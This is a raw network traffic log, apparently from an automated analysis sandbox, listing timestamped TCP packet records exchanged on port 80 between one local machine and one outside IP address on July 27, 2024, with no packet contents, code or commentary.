Jul 27, 2024 03:19:21.140562057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140577078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140590906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140607119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140620947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140644073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140645981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140660048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140661955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140675068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140680075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140690088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140695095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140706062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140713930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140717983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140727043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140742064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140755892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140803099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140818119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140831947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140846968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140851021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140861034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140875101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140876055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140891075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140892982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140904903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140914917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140918970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140928984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140943050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140955925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.220904112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.220937967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.220952034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.220988035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221008062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221021891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221044064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221056938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221060038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221076012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221081972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221091032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221096992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221112967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221118927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221127987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221142054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221142054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221157074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221164942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221170902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221184015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221185923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.221206903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.221230030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.295742035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.295799017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.295830965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.295844078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.295979023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296001911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296013117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296016932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296031952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296036959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296047926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296049118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296062946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296065092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296081066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296096087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296135902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296149015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296164036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296169043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296185970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296200991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296207905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296221972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296236038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296241999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296253920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296255112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296273947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296287060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296365023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296380043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296394110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296400070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296413898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296432018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296438932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296448946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296452999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296463013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296471119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296477079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296502113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296504021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296513081 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296519041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296533108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296535969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296549082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296550989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296565056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296566963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296581030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296596050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296601057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296601057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296611071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296611071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296627998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296629906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296647072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296652079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296660900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296665907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296684980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296694994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296698093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296725988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296739101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296753883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296772003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296782017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296783924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296796083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296812057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296816111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296830893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296844959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296889067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296904087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296920061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.296920061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296936035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296952009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.296998024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297012091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297024965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297033072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297039986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297045946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297064066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297080040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297081947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297095060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297115088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297132969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297137022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297143936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297147036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297163010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297194958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297224998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297239065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297251940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297256947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297271013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297297001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297363043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297378063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297393084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297399044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297408104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297419071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297424078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297432899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297437906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297446966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297451973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297465086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297468901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297483921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297508001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297538996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297553062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297565937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297574997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297580957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297589064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297602892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297616005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297616959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297629118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297643900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297648907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297658920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297662020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297677994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297692060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297755003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297768116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297782898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297787905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297801018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297816992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297843933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297858000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297872066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297877073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297888041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297892094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297907114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297916889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297921896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297944069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297947884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297957897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.297976971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.297990084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298013926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298027992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298042059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298047066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298062086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298075914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298110962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298124075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298139095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298142910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298156977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298171997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298206091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298219919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298233032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298238993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298253059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298255920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298266888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298271894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298285961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298289061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298310041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298315048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298340082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298357010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298399925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298413992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298427105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298433065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298440933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298446894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298455000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298460960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298470020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298475981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298485041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298490047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298497915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298505068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298518896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298533916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.298580885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.298614025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308074951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308089972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308192015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308198929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308229923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308237076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308250904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308274031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308291912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308316946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308331013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308345079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308352947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308358908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308374882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308393002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308403015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308417082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308429956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308439016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308444977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308459044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308466911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308497906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.308537006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.308577061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392072916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392096043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392126083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392141104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392154932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392170906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392193079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392230988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392234087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392246008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392261028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392271042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392277002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392303944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392328024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392330885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392344952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392359972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392365932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392375946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392386913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392395020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392414093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392618895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392627001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392633915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392647982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392663002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392683983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392705917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392724037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392745972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392760038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392765999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392774105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392779112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392788887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392795086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392802954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392815113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392817974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392827034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392832041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.392844915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.392848015 CEST	80	49713	185.215.113.16	192.168.2.6
